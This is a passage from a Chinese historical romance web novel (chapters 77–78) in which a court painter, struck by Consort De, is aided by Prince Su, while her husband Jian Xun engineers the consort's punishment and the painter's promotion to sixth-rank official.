顺喜慌忙跪地,膝行上前,哭道:“只要能让娘娘消气儿,奴才这条贱命挨再多打都值,可是奴才舍不得娘娘受委屈。” 德妃惨然一笑,“本宫,还有什么委屈不能受。” 顺喜呜咽倒出提前编排好的腹稿,“娘娘有所不知,这位黄画员是简翰林的新妇,宣道坊的简府……” 他委婉地提醒着,“不看僧面看佛面,您素来敬重皇帝爱重之人,娘娘不若念在安国公的面儿上给黄画员三分体面。” 也是给自己体面。 德妃身形僵住。 气昏则降智。 现下终于意识到自己做了什么蠢事。 一时间呐呐无言,陷入了进退两难的境地。 可德妃娘娘也不能纡尊降贵给画员道歉不是? 还得是顺喜帮她收拾烂摊子。 “哎哟,都别跪着了,水磨砖的地凉。我们娘娘最是心慈,气急才大声了句,瞧把你们唬得,没得让人瞧见还以为娘娘发了多大的脾气。”顺喜弓着腰将黄时雨扶起。 要了命咯,前有肃王威胁,后脚得知是简翰林的新妇。 黄时雨捂着脑袋勉力站直。 脑袋很痛,却也很清醒。 但凡她没有背景,德妃今儿把她发落了也不会有人问津,问也激不起水花。 最多罚俸关禁闭。 “娘娘,商姑姑来了。”心腹急急提醒。 德妃敛神凝眸,只见商姑姑含笑而来,对她款款施礼,优雅不失从容。 “娘娘金安。” 商姑姑福了福身。 “什么风把商姑姑吹到我这里了?”德妃捏紧了冰凉的手心。 商姑姑浅笑:“永寿宫缺几幅谷雨节气画儿,碰巧遇到了顺喜带着藏画楼的人,便斗胆来娘娘这里借人,不知娘娘目下方不方便?” 德妃木着脸儿,灰心道:“本宫这里已经没什么事,随便你。” 说罢,扶着心腹回宫。 她把安国公的侄孙媳妇打了。 想必皇上很快就会来见她的。 德妃的人乌泱泱而去。 袁艺学才敢出声感谢商姑姑解围,商姑姑笑着摇了摇头,径直上前扶着黄时雨找了一方石凳坐下。 商姑姑问:“黄画员,你还好吗?” 黄时雨想说没事,就是额头有点痛,却忍不住干呕,头晕目眩。 众人慌作一团,有抱着不让她晕倒的,还有掐她人中的。 嘈嘈杂杂,人影晃动。 直到有个人将她轻轻横抱起,周遭才陷入了寂静。 第77章 不足 突如其来的晕眩干呕令黄时雨不能自持,勉力镇定方觉身子腾空,窝在了一人怀中。这样的依偎可比无倚无靠单坐硬生生的石凳上舒服百倍,她想闭上眼就此大梦不醒。 然而那抹惊心荡魄的木质清茶熏香,如冷水兜头浇下,使她清醒了大半,魂魄归位。 黄时雨原本半眯的双眸瞬间瞪大,定睛打量,望见一截莹白修长的颈子,那么明显的喉结,便是个瞎的也知为男子,而她不仅知是男子还猜到了肃王。 胸口传来一股推力,韩意淮垂首看向仿佛偷情即刻要被抓的黄时雨,“你别紧张,小心翻下去。” 站着说话不腰疼,光天化日,被抱了个满怀的人是她,百口莫辩的也是她,她怎能不紧张? “肃王,我好不容易才过上太平的日子。” 她一张口竟然又是一阵晕眩。 韩意淮说我知道,“这里没外人,不会传出不利于你的话儿,先等御医把个脉再送你回去。” “把脉便把脉,那也先放我下来,我自己坐着,放我下来坐着!”黄时雨又开始胡乱推搡。 她好端端在石凳上,清清白白的,他非要多管闲事。 想到这幅模样落在众人眼中,黄时雨遍体生寒,根本不敢去看周遭的眼神,更不敢面对袁艺学。 “嗯,坐着。”韩意淮唯恐她翻腾过猛,便听了她的话,改为了坐着。 黄时雨瞠目结舌。 所谓的坐着,是坐在肃王腿上,而肃王坐在石凳上。 她,不是这个意思。 可她的身子不争气,挣扎须臾,晕眩再次袭来,只剩一丝喘息的力气,软软歪在韩意淮臂弯中,动也不动。 “你省些力气,我的手不会碰不该碰的地方,一切等御医来了再说。”韩意淮低低道。 日思夜想的人唾手可得,便是圣人再世也做不到老僧入定。肃王的心中,也有平息不止的涟漪,又苦于给不了她想要的,再多的涟漪也只能与无尽的懊悔,压抑的疯狂,悄然湮灭。 不为人知。 袁艺学从刚才就转过了身,两腿抖若筛糠,双目失焦,一眨不眨盯着半空中某一点。 而肃王的人,虎视眈眈。 似乎只要一声号令,他们顷刻间削下她脑袋。 今天都是些什么事。 试着捋清一二,全无头绪,唯可确认这当口有一桩杀头的辛秘摆在她眼底,等下就要拿她命来也。 当值的御医一路小跑出现,问完安就要去把肃王的脉搏,谁知肃王始终背对着,也没有转身的打算,倒是商姑姑从肃王胳膊下拿出一只尖尖的青葱玉手,递与他,平静道:“劳烦大人了,仔细把把。” 御医瞳仁骤然放大了一圈,这才辨清背对他的肃王怀里抱着个女人,抛开这只手,皆被肃王与周遭的宫人挡住了,而他也没胆子伸头细探。 “是,敢问殿下发生了何事?”御医小心翼翼地问。 他又不是神仙,做不到不问不闻的地步。 瞧着架势,肃王就没打算放人给他观望,那就只能主动问了。 韩意淮沉声道:“脑门挨了一记儿拳大小的硬物,略有擦红,或许震荡所致,出现晕眩干呕的症状,你先号脉,我要知道症因。” 说得相当直白了。 老油条御医又岂会不懂。 打量女子的衣袖,多半为皇城不入流的小女官。 小女官与亲王有了首尾不是什么新鲜事儿,估计肃王最为担心的是不是留了种。 无名无分相当于外室,倘若留了种还上不得族谱,将是一件极其麻烦的事儿,但那是肃王和宗人府的麻烦事,与小小御医不相干系。 御医垂脸缩脖子号脉,微眯眼眸感受指腹的跳动,唯恐错诊,不惜多号了一遍确认,这才对肃王拱手道:“回殿下,呃,患者并无生命危险,略有些不足之症,这个仔细调养开方子倒也能养好。呕吐晕眩则是不足加震荡引起。在毫无防备之下遭受硬物攻击,人脑如水波晃荡,荡乱心脉以至干呕。下官建议患者躺下休息片刻,即可自行恢复,呃,恢复之前切记走动,就像现在这样,呃,殿下抱一会挺好的。” “你确定没有其他原因?”韩意淮问。 御医对自己的医术颇为自信,信誓旦旦回:“下官以项上人头担保。” 话音一落,他能明显感觉到肃王松了一口气。 韩意淮的音色都变得轻快几分,“好。怎么管好嘴巴不用我教你吧?” 御医弯腰不迭,“下,下官明白。” 韩意淮道:“下去领赏吧。” “谢殿下恩赏。”御医揣着两手火速溜走。 韩意淮垂眸,望着怀里半睡半迷的坏女人,此前保证了不乱碰的手,鬼使神差地搭在她平坦柔软的小腹上,掌心紧紧熨帖。 他知道这里的肌肤有多温暖滑腻,也知露滴牡丹一刻带给他的前所未有的灵犀灌顶。 他们交付过第一次,享受过人间至极的欢愉。 明明是最亲密的人,怎么就变成了现在这样? 肃王深深叹息。 嘴上说着不在意,心里何曾甘愿过。 梅娘,不要给别的男人快活好不好。 更不要为别的男人生孩子。 这是他的底线了。 也更坚定了让她成为小寡妇的决心。 这日黄时雨和袁艺学面色蜡黄返回了画署。 中途过路的女工朝她们投来了同情的目光。 怪可怜的,这趟定然遭了天大的罪。 谁让她们命不好,被德妃抓了由头呢…… 这厢两人躲进廨所关紧了门,齐齐滑坐凉凉的青砖地,面面相觑,皆从对方眼中瞧见了灰败。 画署,知悉她与肃王秘密的人,从此又多了一个。黄时雨面无表情。 你与肃王有首尾怎不早些告诉我,以后我该如何自处,肃王怕不是要灭口!袁艺学犹如惊弓之鸟。 黄时雨稳住心神,一骨碌爬起,也将神魂尚且游离在外的袁艺学拽起,“今天什么都未发生,您也什么都未瞧见,这么跟您说吧,肃王与我都是假的,而我与简翰林则是真心实意过日子的。” 有些事情唯有把自己都骗过去才令人信服。 袁艺学把黄时雨说的话一个字一个字记进心里,篡改自己记忆,希望以此证明对肃王的忠心。 至于黄画员与简翰林会不会好好过日子,无关紧要。 简珣的伤口恢复了七七八八,基本不影响正常生活。 利器所伤,沾不得水。 这些日子连澡也泡不了,全靠小厮帮忙擦身体。 而他又素来洁净,习惯了下人舀水冲洗,再沉入沐桶浸泡,然后再冲洗这么个流程。 简单的擦身子委实草率。 总觉得不痛快。 尽管福生一再保证少爷的皮肤相当干净通透,也劝服不了他的洁癖。 他认命平躺榻上,由着素秋和白露为他通头发,仔细烘干。 小丫鬟隔着帘子回禀:“少爷,少奶奶来了。” 简珣双目明显变亮,扶着福生麻利坐直了身子,又思及梅娘除去上衙便是歇在清苑,每日前来更像是点个卯做做样子,半分也不亲近他,发亮的眼睛登时寥寥黯淡。 仅有的一点自尊,提醒他藏好心口实实的大跳,扮出一副淡然高深的神情,整了整白绫里衣,斜眸瞥向珠帘。 春夏的帘子多为纱幔与琉璃,轻盈又清新。 黄时雨端着一方黄花梨木的蔬果纹托盘迈入,神色如常。 下衙后稍作休整,她便回两人的梅斋,分居不代表不管夫君死活。 两人没有血缘关系却胜似亲人,况且这伤又是为了保护她才捱的,黄时雨每日都会来探望简珣,服侍他喝药。 也谨记婆母含蓄地叮嘱:万不能使阿珣激动,挣开伤口不利于恢复。 因而黄时雨总是穿半新不旧的家常衣裳,脑后挽个简单发髻,仅以一枚古拙的香楠木簪固定,多余青丝随意垂在右肩,素淡宛如鲜嫩碧荷。 简珣心头急跳,益发不愿显露自己有多受用此中曼妙。梅娘不过是懒得为他梳妆,倘自己连这都情动,还有什么出息。 “我在小厨房等了片刻,估算汤药不烫口才端来的。”黄时雨放下托盘,端着药碗来到简珣身畔而坐。 阿珣这段时日遭受大罪,人也不如从前温煦,脸色常常不咸不淡的。黄时雨猜不透他的心思,便端正自己的心思,勤勤恳恳俸汤递水,努力朝着认真过日子的方向努力。 也知唯有跟着他,似她这样无根无基的方能好过一些。 京师,远比她想象的水深火热。 随便一个勋贵都能捏死她。 离开他,就得面对肃王,怕是只能做外室的。 简珣极好伺候,再苦的汤药递给他皆一饮而尽。白露连忙上前服侍他漱口,又递上帕子拭了拭嘴角。 这种精细的侍奉自然不会使唤梅娘。 满屋子丫鬟做完了该做的,皆垂眸悄然退出。 简珣伸手捏了捏小媳妇脸颊,“又在画署做粗活了么,瞧着苍白憔悴。” 苍白憔悴可不一定是累的,还有可能是吓得,忧思过重所致。 黄时雨抿唇笑了笑,说没有,“藏画楼很清闲。” 简珣拧眉道:“额头?” “午后打盹不小心磕的。”她捂额咕哝道。 明明是少奶奶,却要像个男子一样风里来雨里去的,简珣不忍她时时辛苦,脱口而出道:“梅娘,咱不去画署行不行?我来养你呀,保管一辈子也不短你银钱!给你买两间铺子,一间画阁一间裱画铺,随你折腾,亏了算我的,盈利权当你私房。” 从前她没有依靠,拼命考画署,如今尘埃落定,何不全身心靠一靠他呢!这些话他早就想说,又碍于当时没成亲,说了少不得惹她翻脸才一直放在心里。 黄时雨相信此时此刻的简珣真心实意,但画署既是她所爱亦是此生唯一的退路,岂会单凭几句甜言蜜语便分不清东南西北。 她总归是清醒的,摇了摇头,“我喜欢做女官,威风。” 简珣忍俊不禁,忘了摆淡然高深的表情,澄澈眼波里全是她,“我努力做大官,也能让你威风。” 顿了顿,他难为情道:“你一直都很威风,如今满屋子丫鬟,谁不知我惧内……” 黄时雨被揭了短,多少有些儿理屈词穷,讪讪道:“要不,下回你也冲我大声嚷嚷,我即刻去外间榻上躺一晚,帮你捞回体面便是。” 这哪里是帮他,比罚他还狠。简珣哼了声:“幼稚,我才不像你,豆大的胆量,芝麻大的心眼。” 黄时雨自觉没脸,“就你胆量大心眼大,谁能大得过你,我走便是,免得碍了你这个什么都大的人清净。” 与她执手对坐不知有多畅美,简珣哪里舍得分开,急急攥紧她的手儿,偏嘴硬不甘承认自己想要,“哪有你这样伺候夫君的,才不过一刻钟就要走,上衙画卯也没你敷衍。” “你又不缺伺候的人,满屋子善解人意的小厮丫鬟,捶背捏肩捧哏,端茶喂时令果子,哪一个不比我伶俐讨喜。”黄时雨抽回手。 苍天作证,她真的只用了七成力气,哪里就料到简珣抢不到手滑了一个趔趄,惊动伤口,五官霎时皱成一团苦瓜,“嘶嘶”吸着冷气。 黄时雨掩口失声:“阿珣!” “你好狠的心,趁人之危……”简珣的手虚握成拳,眼尾薄红,“我都这样了你还推我。” 黄时雨无措地张着手,“我没有推!不管你信不信,我实非有意。” 磕牙归磕牙,动了手有理也变无理。 她弯腰吃力地扶起简珣,又垫了垫他身后石青色的大引枕,指望半仰着能让他好受一些。 “我瞧瞧伤口有没有崩开。” 唯恐闯下大祸,黄时雨懒得讲究,一心要解他里衣。 简珣慌忙捂住,口干舌燥,一双耳朵热腾腾烧起来,“做什么,休要碰我。” 黄时雨百口莫辩:“不是,你误会了。” “我知道你也想我的。”他唯恐她借着练画的由头离开自己,忖度时间也差不多了,当下顾不得矜持,“那,我给你亲一下吧。” 他指了指自己脸颊,“亲这里,也行。” 黄时雨本就是个憨直的,听这话音了立时分辨道:“真不是你想的那样,你想左了,我只是……” 那双望着自己的明眸就一点点黯淡下去。 从熠熠生辉的殷切变成了乌黑地黯淡。 不开窍的脑子忽然因这双眼眸钻进了一丝灵光。 阿珣,似乎很想亲近她? 于是,剩下的半句话,黄时雨不忍再说。 她怔怔望着他。 简珣缓缓垂下眼帘,嘀咕道:“爱亲不亲。” 身形陡然僵木住。 有温软湿热的触觉贴在了脸颊,一团香云似的,柔软地吹拂。 他星眼朦胧,失了神。 思绪回笼,梅娘只剩下个背影,掀帘离去了。 掌灯时分,小厮丫鬟们在上房张罗,人来人往。 明明到处都是人,明明他有了媳妇,为何他还是如此孤独…… 福生照旧坐在对面的小圆杌子服侍他沐足,福喜力气大,则为他捏肩。 周围还站了两个小丫鬟。 素秋侧坐一旁,凝神修整他的指甲,确保时刻整齐洁净。 泼辣的素秋,在修指甲这块儿技艺完全不如白露高超,手法更谈不上轻柔,可是她不会像白露那样为他按摩,一根一根的……成亲前他很享受,成亲后莫名惊慌,尤其被梅娘亲眼目睹后,心虚达到了巅峰,所以他就打发白露做别的去了。 梅娘有没有生气? 她应是见怪不怪,全然没放在心上。 最多腹诽他娇生惯养。 府中上下三百余人,美貌仆婢随处可见,真介意的话日子也没法儿过。 再说,他行的端做得正,又不是见一个收用一个的浪荡子。 他只有她。 话虽如此,他却空前的落寞。 次日旬假,一家三口用了顿温馨的家常早膳,三个主子三种口味,厨房熬了六种米粥,有甜有咸。四碟冷菜,六碟热菜,此外南瓜糕点、栗面糕点、椰乳马蹄红豆糕等等五六种,还有一份极为新鲜的时令荠菜鱼片羹,最得黄时雨喜欢。 大户人家的膳食种类多,五花八门,却也不是一味的铺张浪费,分量拿捏恰到好处,每样用两口也就没了。 饭后,丫鬟们各自服侍主子漱口净面净手,仆妇撤下牙箸碗碟。 付妈妈如期而至,为黄时雨请脉。 程氏目光微闪,梅娘至今没有月事,或许…… 这个或许后面的臆想被付妈妈的话打断。 “少奶奶经期不准,择日不如撞日,不若从今天开始调理吧。”付妈妈微微欠身。 程氏迟疑道:“这孩子一向康健,看起来也皮实,难道有不足?” 付妈妈道:“奴婢斗胆猜测,少奶奶幼时没有得到妥善的照料,留下不足之症。” 程氏骇然失色,得益于多年养气才未失态。 简珣扭头凝视梅娘,轻轻拍了拍她攥得紧紧的小手。 付妈妈又问了一句:“敢问少奶奶何时经历的初次月事?” 黄时雨镇定回:“及笄以后。” 时下女子十三四岁便会有,黄时雨却等到及笄以后。 付妈妈安慰道:“其实也不打紧,就像枝头新鲜的果子,有的早早瓜熟蒂落,有的因为光照养分不足还要等些许日子。奴婢从今儿开始日日为少奶奶炖滋补药膳,驱逐弱症不足,咱们简府迟早瓜瓞绵延。” 这番话说的很委婉,但主家都听懂了。 少奶奶可能不易受孕。 原本温馨的气氛微微凉窒。 程氏沉思片刻,打破了静谧,“我明白了,药膳一事就托付给你,望你早日调理好少奶奶,必有重赏。” “奴婢定当竭尽所能。”付妈妈屈膝道。 事关子嗣,非同小可,程氏却还能沉着冷静,从头到尾没有抱怨儿媳半句,反倒吩咐身边人打开库房,挑选滋补材料。 有阿娘如此,简珣怎会不心生感动。 天知道他有多担心,唯恐阿娘说不合时宜的话伤了梅娘。 考虑到这种事情,得要给小夫妻俩一点空间。 程氏终于肯放黄时雨回梅斋,提前结束了“侍疾”。 简珣感激地看向程氏,阿娘…… 程氏却调开视线,幽幽望着炕几上的花觚。 有话则长,无话则短,拜别婆母,黄时雨不觉回到了梅斋书房。 “梅娘。”简珣神情里看不出一丝嫌弃,拉着她的手道,“付妈妈是最好的女医,听她语气便知你这不是什么大毛病,养养就能好,好不了她也不敢立下保证,等你再长大些,我们就可以有自己的孩子。” 不就是晚点再生么,他等得起! 她轻咬下唇,道:“你怎么还笑得出来?” 他牵着她的手,“为何不能?我,很快乐。” “跟我这样的人绑在一起,有什么快乐的。”她失笑道。 “那也比旁人强,不熟的我怕只图我的钱。” “你就不怕我也图你钱?” “要是这样便好了。”简珣笑了。 要是这样,她就会深深在乎他,舍不得离开他半步。 而不是像个提线木偶似的,他拨一下,她动一下。 少拨一下,可能就再也没有交集。 第78章 撒谎 前有御医诊断不足,今儿又有付妈妈言之凿凿。随便换个时下女子易位而处都难免失心丧意。 黄时雨也不例外,偏身边的人惯会柔声温存,摆出事实讲道理,例如与安国公一母同胞的二房,也就是简珣的二伯祖父家,就有位婶娘,情况比黄时雨还严重,经过付妈妈调理了两载,平安诞下三儿一女,无一夭折。 不得不说,此中水平放置哪朝哪代都是一顶一的。 受孕难又不是不能受孕。 阿珣不仅会安慰人,还安慰的有理有据,不多会儿黄时雨便放下了心中的大石头,重新展颜。 她可真喜欢与他说话,只要他正经起来。 两人一递一声渐入佳境。 先头慌乱之下隐瞒的事儿,黄时雨已经琢磨好如何向简珣交代了。 主要是这件事不太好瞒,肃王身边的人不会乱说话,画署女工与德妃身边的可不一定,她们有的见证黄时雨并袁艺学被顺喜带走,有的亲眼目睹德妃发疯,那么她挨打这件事迟早传的沸沸扬扬。 若不提前透露给简珣,待旁人传进他耳朵,他却一无所知,就说不清了。 况且,她忽然也很想与他说心里话,包括官场失意。 “阿珣,其实昨儿我不是打盹磕的头。”黄时雨轻轻推开书房东南的落地长窗。 简珣正在寻找书卷,闻言,手微顿书架边沿,“说来听听。” 黄时雨就走向书架附近的画案,按了按厚重的紫檀边沿,站踏实了才娓娓道出前因后果。 隐瞒了肃王的出现。 不怪黄时雨喜欢同简珣说话儿,其他更有身份的也喜欢。 当他主动倾听总会流露认真而自然的严肃,令人深觉被重视,满腹头绪不吐不快。 不需要他应承,只瞧着他的表情就深受鼓励。 此时的黄时雨尚不懂一个道理:世上没有完美契合的两个人,如果有定然是对方的心智远超于她,且有着远胜常人的情绪把控力。 心智处于高位的简珣,只要愿意,可以令任何人觉得被他重视,与他契合。 道理是这个道理,可是简珣千般迁就的女子素来也唯有黄时雨。 作为身康体健的正常男人,他需要女人,但作为目标明确的男人,绝不会为女人沉沦,也没有太多时间花在女人身上,可他终究在梅娘这里付出了巨大的沉没成本,再没有力气投注其他人,也不甘轻易放弃。 简珣抬眸深深凝看黄时雨须臾,总结:“所以,你是觉得这种事瞒不住才会与我说,对不对?” 黄时雨赶紧摇头否认,又木着脖子点了点头承认,细声道:“先前不说是怕你担心。除了徒增忧愤又不能找德妃说理,那我又何必给你添堵,可一想到藏画楼的女工瞧见我额头,少不了闲言碎语……” “依你所言,这事九成传不进我耳中。”简珣笑着看她,双手环胸。 德妃不是傻子,定会对身边人严加管教。 女工位低,最多当西洋景儿嘀咕两天,断不会为了她跑去上官跟前儿伸冤。 而黄时雨本人,连隐瞒简珣的心思都有又怎会与上官提及,这就是个多一事不如省一事的老实木头。 黄时雨心口突突两下,拍拍自己脑门。 当真被德妃打傻了。 肃王的人嘴巴严实,人德妃的也未必差,女工知道的再多又如何,谁还会为她得罪德妃不成? 简珣找到了想要的书,边往书案走边道:“你呀,从小到大一点也没变,这种事你不仅该第一时间告诉我,还应当撒着娇添油加醋说。” 打量一汪清水似的梅娘,他在心里想绝非自己有多痴情,实在是操心惯了,离了他,傻姑娘多半过不好。 终于有了不能与她分离的借口。 黄时雨有自己的道理,“咱们这样的地位与德妃说理无异于以卵击石。” 简珣以手支颐,目光里溢出笑意,“傻瓜,你莫不是以为我会为你告御状吧?” 黄时雨“啊”了声,以她对他的了解,还真以为他会这么干。 “我才没那么傻。” 黄时雨轻轻抚了抚心口,“那我放心了。” 简珣招招手,将她召至身前,眼角微挑,“可我媳妇也不能白被人欺负。小孩子才去论是非,咱们不讲理的,等德妃难受自会派人来找我讲理。” 谁最想坐下来心平气和讲道理,谁就得拿出诚意。 黄时雨睁大了眼睛。 简珣贴近她,鼻尖轻轻碰一碰她粉腮,道:“黄大人马上就要升官,更威风了,该怎么谢我呢?” 廿三这日,德妃的母亲慌慌张张进宫谒见。 家中出了大事。 依靠皇帝恩佑勉强混个正五品差事的嫡子摊上了大事。 德妃母亲哭诉:“我们宗儿还是个孩子,被外头不三不四的人撺掇误入烟柳画舫,中间只吃过一顿酒,也不知哪个黑心肝的捅了出去,就被御史台的狗东西告发!” 德妃尚且自顾不暇,不意母家还要来添乱,她厉声问:“吃酒?吃的什么酒?” 母亲的哭泣戛然而止,仿佛被人捏住了嗓子,顾左右而言他道:“娘娘,宗儿蒙圣恩将将升上正五品,御史台这当口给他扣‘狎妓’的罪名,是要生生逼死他啊!” 原来吃的妓酒。 德妃的神情逐渐扭曲。 为了杜绝官场陋习,朝廷严令禁止官员狎妓。家底殷实的官宦通常蓄养美貌丫鬟解决需求,个别毒辣的则去小倌儿窠子找快乐,总之不狎妓绝对死不了人,犯不着搭上自己的仕途。 德妃弟弟却嫌弃通房丫鬟无趣,涂脂抹粉的小倌儿不是真女人,时不时跑去烟柳画舫鬼混。 这事但凡低调些,不造成恶劣影响,倒也没人揪着他不放,谁让德妃盛宠。御史台的人也不是很想为了一点破事下皇帝脸面,他们有更重要的家国大事与皇帝掰扯。 范宗仗着德妃这个姐姐,素来横行无忌,兴之所至还玩起了妓鞋行酒,把酒杯置于花魁蓝绿色的缎面绣鞋,喝得个酩酊大醉,好不风流,冷不丁冲进来一群帮闲,拳打脚踢,理由是范宗强迫花魁接客。 原来花魁早就受童员外恩惠,好吃好喝供养外宅,事情闹将起来,唯恐得罪大主顾,便一口咬定是范宗强迫的她。 童员外拍着大腿嚎啕,站守画舫外讨要说法。 范宗酒醒大半,在狐朋狗友的掩护下仓皇逃窜。偏童员外失心疯般,就与他杠上了,连德妃的名头也不好使,给多少银子也不行,一心拉着他见官。 见官是不可能见的,范宗魂飞魄散。 吵闹之间惊动武侯铺,二人当即被巡街使拿下。 德妃母亲歪在圈椅不停抹泪,“娘娘,宗儿一向敬您护您,为了您,他从不敢沾污糟事,通身就剩贪花好色一点小毛病,天杀的童员外又不是第一回知道这事儿,怎就突然发难……” 德妃不耐烦地打断了母亲的话,“让人查查,即刻回复我。” 这事儿不难查,关键在童员外。 一个员外怎会失张冒势与德妃母族叫板,显然想叫板的另有其人。 先说说德妃母族,原先不过一个小地方富户,跟随德妃鸡犬升天,全家搬来京师。皇帝为着给德妃做脸面,赐予范家的男丁不少官职,虽说都是些听起来好听的闲职,没什么实权,可也是实打实的正六品、正五品,最高的甚至达到了正四品。 所幸德妃不算糊涂,对自己父兄的满腹稻草一清二楚,便没少千叮咛万嘱咐,父兄尚知轻重,倒也没出过大错,斜刺里杀出的童员外彻底打破范家祥和的好日子。 得知童员外与简氏二房的四少爷来往密切,德妃再蠢也顿悟了。 阿娘还不知晓她羞辱责打黄画员一事,当晚就被商姑姑在太后跟前说漏嘴。 太后本来就瞧不上德妃,得知她在御花园行径,火冒三丈,即刻命她在怡德殿禁足。 如此动静显然是做给皇帝看的。 皇帝得知自然要问明因由,不问还好一问也被气懵了。 别说黄画员是安国公侄孙媳,简翰林的新妇,即便是个普通画员,德妃连罪名也不罗织,堂而皇之辱打,与祸国妖妃有何区别? 皇帝不会真正惧怕哪一个臣子,但惧怕规则。 规则是上位者用来制衡下位者的利刃,他可以师出有名针对任何人,但不能明晃晃打破规则,不啻于自毁利刃。 德妃之行径使他面临了做昏君还是明君的难题。 自知闯下大祸,德妃还没想好应对之策,娘家又传来兄长“妓鞋行酒”,与人当街争风吃醋的“好事”。 她第一次感到了害怕。 深宫之中,有皇帝的保护,她畅行无阻,深宫外人人畏惧德妃大名儿敬她母家三分,这些年,她的日子过得太顺畅,得罪的又都是门第普通的妃嫔,竟不知,当触犯真正门阀大族,许多简单的事就再也不简单了。 人家只需有名有据列个条目,就有一堆人上纲上线,架着她往火上烤。 妓鞋行酒一事闹得沸沸扬扬,连御史台的人都开始奏疏参她父兄。 偏偏没有一条是冤枉的。 德妃不怕禁足也不怕被皇帝训斥,但是害怕失去父兄,不,是害怕父兄失去官职。 自来都是树倒猢狲推,平时没少受她倾轧的妃嫔趁机添堵,德妃的日子益发不好过。 捱到廿五,她就撑不住了,脱簪跑去金銮殿,跪在皇帝跟前大哭认错,请皇帝责罚。 皇帝摸了摸这个愚蠢又可爱的小女人脑袋,“放肆,你还在禁足,竟敢跑来金銮殿。” 德妃扑在他怀中歪缠,泪如雨下,一叠声道臣妾知错了,求皇帝给她周全脸面。 多日未见,皇帝被她摇的心生荡漾,半推半就与她倒在榻上云雨一番。 皇帝也是男人,男人在温柔乡里除了某处,其他都是软的,尤其心软,最终原本打算的严惩就变成了禁足三个月,罚俸半年。 但臣子的面子不能不安抚,黄时雨因祸得福,被破格提拔为正六品诏侍,升迁之快,画署史无前例。 给足了简氏颜面。 这厢,德妃的母家动用了所有能用的关系,几番登门说和,童员外总算撤回诉状。 他们就此明白一个道理,在京师,得罪了真正世家,人家连面都不用露,他们已经乱成无头的苍蝇。 童员外对说和的人笑道:“各人有各人的难处,娘娘为难别人的心尖尖,让人无路可走,别人可不就只能为难娘娘的……” 说和的人陪着笑脸。忽然又听到了一句,童员外压低声音儿说的,“做人留一线他日好相见,没把西市新税的事揭开,已经给你们留有余地,建议范大人回去收拾干净,若是不小心被其他人赶上,那就是命了。” 范家这一夜人仰马翻。 廿二那日简珣没头没尾的一句“黄大人马上就要升官”,廿七上衙,黄时雨就接到了全新的官印玉符以及官袍金带,成为了正六品诏侍,比艺学还大一级,此后不仅能接触到更多的大人物,还可参与画署旬会。 有那么一点跻身到更高圈层的味道。 突如其来的高升,一众同僚纷纷贺喜,黄时雨如坠云里雾里,走路轻飘飘的,奉命前去闻大人廨所禀职。 姜意凝朝她挤了挤眼,蓝素不知在想什么,背对着头也未回。 黄时雨抿着笑,不敢耽搁脚步,来到闻大人门前,正欲抬手敲一敲,门扇忽然打开,小闻大人满脸讶异,望着她。 “大人先请。”黄时雨连忙侧身让路,对着闻遇欠身揖礼。 闻遇迟疑地迈出门槛,偏头看她,道:“恭喜。” 青袍金带的小姑娘恰似春日枝头的鲜花,亭亭玉立,眼波潋滟,欢喜之余一张小嘴倒很是谦逊,只道:“这都是闻大人与小闻大人对卑职的栽培,卑职方能有今日。” 闻遇未置可否,逗了她一句:“真是傻人有傻福。” 啊?黄时雨睁了睁眼睫。 闻大人不耐烦道:“黄诏侍,还不进来。” 黄时雨如梦初醒,举步就往门里钻。 闻遇慌忙后退一步,与她错身而过。 其实不退也不要紧,她那么娇小,足以穿过他与门之间的空隙。 闻大人满脸不虞,狠狠瞪了门口的闻遇一眼。 闻遇收回视线,闷头辞别。 “卑职拜见大人。”黄时雨规规矩矩朝闻大人揖礼。 闻大人说了一句“恭喜高升”,便冷着脸安排诏侍廨所的当差要务。 抬眸却见黄时雨全然沉浸在升官的喜悦中,再听她对自己说话的语气,甜美娇嫩,与面对闻遇并无二异。 年近四旬的闻道芝,不是蓝素那等小姑娘,有的是经验,静下心想了想,其实黄时雨一向老实,从无逾矩。 而闻遇亦无轻薄之态,自持且稳重,不过是多看了黄时雨一眼多说一句话,这不是很正常么…… 画署初见黄时雨的男子,哪一个不闪神。 闻遇这个年纪乍见鲜花似的小姑娘流露新奇多正常,男人不都是这样。 无动于衷才可怕呢。 闻道芝不懂自己在紧张什么。 把两个清清白白的孩子想的那么糟。 心里有愧,说话的语气就止不住温和起来。 黄时雨心境澄澈透明,从未生有奇怪的心思,也就无奇怪的烦恼,浑然不觉闻大人的千回百转。 一双灼灼的美眸,晶亮动人。 闻大人噎了噎。 在闻大人廨所禀完职,从明儿开始黄时雨就是画署中最为年轻的诏侍大人。 蓝素简直不敢相信自己的耳朵。 凭什么呀? 就因为黄画员长得漂亮,背后有勋贵子弟捧着么? 她倒要看看依靠男人捧上去的最后跌的有多惨。 少奶奶升官,简府上下庆贺,尤其不二梅斋,从一等到粗使皆领了三倍月钱。 当晚,小夫妻俩在书房一起裱画闲聊。 黄时雨对简珣佩服得五体投地,“阿珣,皇帝果然升了我的官儿,你究竟是怎么做到的?” 春夜的明瓦窗微微敞开,屋内灯树上一排排蜡烛微曳,照着简珣白皙深邃的侧颜,他笑了笑,偏头看向她,“梅娘,结果比我预期的足足提前了五天。” 黄时雨:“……” 简珣慢悠悠道:“官阶也足足大了预期一级。” 黄时雨满头雾水,不知他想要表达什么。 “有人在你出事当日就告发了德妃恶行,皇上提前知晓此事。”简珣鸦黑剑眉斜飞入鬓,那眉峰微挑,似笑非笑望着她,“我的计划是等德妃熬不住托人上门求和,没想到有人帮我把‘御状’先告了,有皇上出手,解决速度如迅雷。所以,那个殷勤至极,抢在我前头帮你的人是谁呢?” 那日,梅娘在宫里定然还遇到了其他人。 一个殷勤得唯恐她受了委屈的人。 黄时雨裁纸的刀片抖了抖,“这我哪儿清楚,御花园那么多人,画署也那么多人,没准谁走漏风声,我早就知道这件事瞒不住。” 简珣应是被她搪塞过去,收回视线勾了勾唇。 黄时雨如坐针毡,裁了片刻的宣纸就借口犯困溜走了。 可她忘了梅斋不是她一个人的地方,寝卧也不是她一个人的。 没多会儿简珣就走了进来。 黄时雨如临大敌,“你,你伤口还没好吧?” 简珣缓缓褪下上衣,指着腹部浅红色的疤痕道:“已经愈合,明儿正常上衙。” 黄时雨哑口无言。 “不过,还不能受力。”简珣一寸一寸靠近她,低声道。 黄时雨缩了缩,嗫嚅着,“不能受力,你干嘛还用这么大力气。” “我可以用力,但你不能乱动,知道不,蹭开了伤口会很麻烦的。” 简珣将她摆成了自己喜欢的方式,抿紧了唇,幽深目光紧紧盯着她不安的后背。 梅娘,怎么就变成了一个撒谎成性的人呢? 